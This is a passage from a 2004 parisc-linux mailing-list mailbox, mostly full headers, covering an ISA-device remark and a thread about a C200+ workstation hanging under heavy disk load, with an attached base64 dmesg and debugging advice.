	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 31 Aug 2004 16:19:13 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1C2Gy6-0001Rx-4y; Tue, 31 Aug 2004 23:19:10 +0100
Content-Disposition: inline
In-Reply-To: <200408311626.16860.mszick@wolfbutter.com>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21934

On Tue, Aug 31, 2004 at 04:26:16PM -0500, Michael S. Zick wrote:
> On Tue August 31 2004 14:28, Matthew Wilcox wrote:
> > In any case, ISA devices don't have subdevices.
> 
> But, for instance, DigiBoard has 4, 8, (16?) subdevices
> which are distingushed in the driver in cooperation with
> the on-board processor.

But they're 4/8/16 of the same thing, not a set of completely different
devices with independent drivers that all expect to call request_irq()
and get reasonable results.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Ochman <fback@fback.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [newbie] Where to start from?
Date: Wed, 01 Sep 2004 15:23:47 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <4135CD63.9040507@fback.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623540 10904 80.91.229.3 (22 Nov 2014 02:32:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:20 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 5243 invoked by uid 65534); 1 Sep 2004 13:26:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 01 Sep 2004 15:26:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9938F3BDF2; Wed,  1 Sep 2004 07:25:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25983-06; Wed, 1 Sep 2004 07:25:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5A56A3BDF8; Wed,  1 Sep 2004 07:24:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3754C3BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 07:24:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25983-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 07:24:24 -0600 (MDT)
Original-Received: from Centaur.SILWEB.PL (centaur.SILWEB.PL [212.106.191.113])
	by free.linux.hp.com (Postfix) with ESMTP id 80A383BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 07:24:23 -0600 (MDT)
Original-Received: from chlew.home.fback.net (root@chlew.home.fback.net [80.53.236.154])
	by Centaur.SILWEB.PL (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i81DMDUw000790 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 15:22:20 +0200
Original-Received: from [192.168.0.1] (ptah.ck.polsl.gliwice.pl [157.158.2.164])
	(authenticated bits=0)
	by chlew.home.fback.net (8.12.11/8.12.11/Debian-3) with ESMTP id
	i81DNgcN020139
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 15:24:04 +0200
User-Agent: Mozilla Thunderbird 0.7.3 (X11/20040819)
X-Accept-Language: en-us, en
X-Enigmail-Version: 0.85.0.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21935

Hello.

For some time now, I installed debian/testing on some spare C200+.
I didn't have much time to play around with it until now. Recently I 
discovered, it hangs completly, without any message, under heavy disc 
load (eg. bzip2 -cd kernel-source-2.6.8.tar.bz | tar xf -, or apt-get 
upgrade cycle).

As I am not familiar with hppa architecture, where should I start to 
snoop from? I've tried both 2.4.x and 2.6.x kernels, both stock and 
custom compiled and they both behave the same way.

TIA,
BO
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Ochman <fback@fback.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] Where to start from?
Date: Wed, 01 Sep 2004 17:13:24 +0200
Lines: 115
Approved: news@gmane.org
Message-ID: <4135E714.1000004@fback.net>
References: <4135CD63.9040507@fback.net> <4135D78B.8030805@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------000401090107080208030402"
X-Trace: ger.gmane.org 1416623540 10905 80.91.229.3 (22 Nov 2014 02:32:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:20 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16197 invoked by uid 65534); 1 Sep 2004 15:14:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 01 Sep 2004 17:14:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5CB8A3BE2D; Wed,  1 Sep 2004 09:14:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27552-01; Wed, 1 Sep 2004 09:14:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8B6873BDF8; Wed,  1 Sep 2004 09:13:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F3593BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 09:13:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26757-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 09:13:40 -0600 (MDT)
Original-Received: from Centaur.SILWEB.PL (centaur.SILWEB.PL [212.106.191.113])
	by free.linux.hp.com (Postfix) with ESMTP id E87403BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 09:13:36 -0600 (MDT)
Original-Received: from chlew.home.fback.net (root@chlew.home.fback.net [80.53.236.154])
	by Centaur.SILWEB.PL (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i81FBVUw026063 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 17:11:32 +0200
Original-Received: from [192.168.0.1] (ptah.ck.polsl.gliwice.pl [157.158.2.164])
	(authenticated bits=0)
	by chlew.home.fback.net (8.12.11/8.12.11/Debian-3) with ESMTP id
	i81FDKXI020214
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT)
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 17:13:22 +0200
User-Agent: Mozilla Thunderbird 0.7.3 (X11/20040819)
X-Accept-Language: en-us, en
In-Reply-To: <4135D78B.8030805@tiscali.be>
X-Enigmail-Version: 0.85.0.0
X-Enigmail-Supports: pgp-inline, pgp-mime
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21936

This is a multi-part message in MIME format.
--------------000401090107080208030402
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Joel Soete wrote:

> Just to be sure that I well understand: do you mean that you tried the 
> same operation when runing 2.4.x and 2.6.x?
Yes, I tried to untar kernel source both under 2.4 and 2.6. No 
difference, if it was stock, or custom compiled kernel. It hangs 
randomly under heavy disc load.

> The very first step would be that you send us a dmesg.
Attached. This particular kernel seems to be most stable on my machine, 
which surprises me after few months on the list.

> As it seems to be a disk pb: check the scsi chain [...]
I've double checked this, but everything seems to be fine.

> If you still have a diagnostic hp cd, boot with this one and check the 
> disks.
I'll try to figure out this, but I'm afraid the only CDs we have are 
with HP-UX 10.20 :(

This machine worked as network monitoring station with HP-UX/HP OV on 
it, it has never reported any problems with any disk.

Regards,
BO

--------------000401090107080208030402
Content-Type: application/gzip;
 name="dmesg.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="dmesg.gz"

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
--------------000401090107080208030402
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------000401090107080208030402--



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [newbie] Where to start from?
Date: Wed, 01 Sep 2004 16:16:15 +0000
Lines: 66
Approved: news@gmane.org
Message-ID: <4135F5CF.2040609@tiscali.be>
References: <4135CD63.9040507@fback.net> <4135D78B.8030805@tiscali.be>
	<4135E714.1000004@fback.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623540 10908 80.91.229.3 (22 Nov 2014 02:32:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:20 +0000 (UTC)
Cc: parisc <parisc-linux@lists.parisc-linux.org>
To: Bartlomiej Ochman <fback@fback.net>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16021 invoked by uid 65534); 1 Sep 2004 16:16:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 01 Sep 2004 18:16:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AACD63BDF6; Wed,  1 Sep 2004 10:15:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28387-01; Wed, 1 Sep 2004 10:15:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 248303BDF8; Wed,  1 Sep 2004 10:15:10 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 745D43BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 10:15:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27021-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Sep 2004 10:15:04 -0600 (MDT)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 6A3813BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Sep 2004 10:15:03 -0600 (MDT)
Original-Received: from [83.134.225.175] (helo=[83.134.225.175])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1C2XlF-00034h-CC; Wed, 01 Sep 2004 18:15:01 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.2) Gecko/20040820 Debian/1.7.2-4
X-Accept-Language: en
In-Reply-To: <4135E714.1000004@fback.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21937

Tx BO,


Bartlomiej Ochman wrote:
> Joel Soete wrote:
> 
>> Just to be sure that I well understand: do you mean that you tried the 
>> same operation when runing 2.4.x and 2.6.x?
> 
> Yes, I tried to untar kernel source both under 2.4 and 2.6. No 
> difference, if it was stock, or custom compiled kernel. It hangs 
> randomly under heavy disc load.
> 
mmm in normal operation, can the system run severall hours without pb?
(in case of over heating (fan hs), system quartz failure, ...)

And when system hung, if you wait some minutes (about 3 min iirc), don't you read SCSI BUS RESET messages at the console?

That said, it would make me thought to a pb I encounter with my c110 (exactely the same decription) but the driver pb was 
ncr53c720 (not concerned here) and for some 2.6 only (no pb with 2.4)
>> The very first step would be that you send us a dmesg.
> 
> Attached. This particular kernel seems to be most stable on my machine, 
mmm I just noticed:
...
Cujo version 2.0 found at 0xf1000000
Enabling Cujo 2.0 bug workaround
Don't recognise Cujo at address 0xf1000000, not enabling workaround
Cujo: No PCI devices enabled.
...

duno if it's important or not?

> 
> I've double checked this, but everything seems to be fine.
> 
Nice :)

>> If you still have a diagnostic hp cd, boot with this one and check the 
>> disks.
> 
> I'll try to figure out this, but I'm afraid the only CDs we have are 
> with HP-UX 10.20 :(
> 
Iirc it should stand on "hpux Support+" cd

> This machine worked as network monitoring station with HP-UX/HP OV on 
> it, it has never reported any problems with any disk.
> 
Trust me this logic has no sence in electronic: 3 weeks ago we (I mean an Hp engineer) power off a N system to add a FC card, when 
we try to restart, ...
too bad the boot disk was definitively HS (even thought we check it carefully with mstm before shutdown: the disk never presents 
any pb before?)

That said, the final step is to 'TOC' your system when it hung (do you know the bleue button behind your box?)
then grab the 'ser piminfo' and analyse what you grab on your system when it reboot with 
<http://cvs.parisc-linux.org/build-tools/dump_analyser.sh>

hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:26 2018
X-Mozilla-Status: 0011
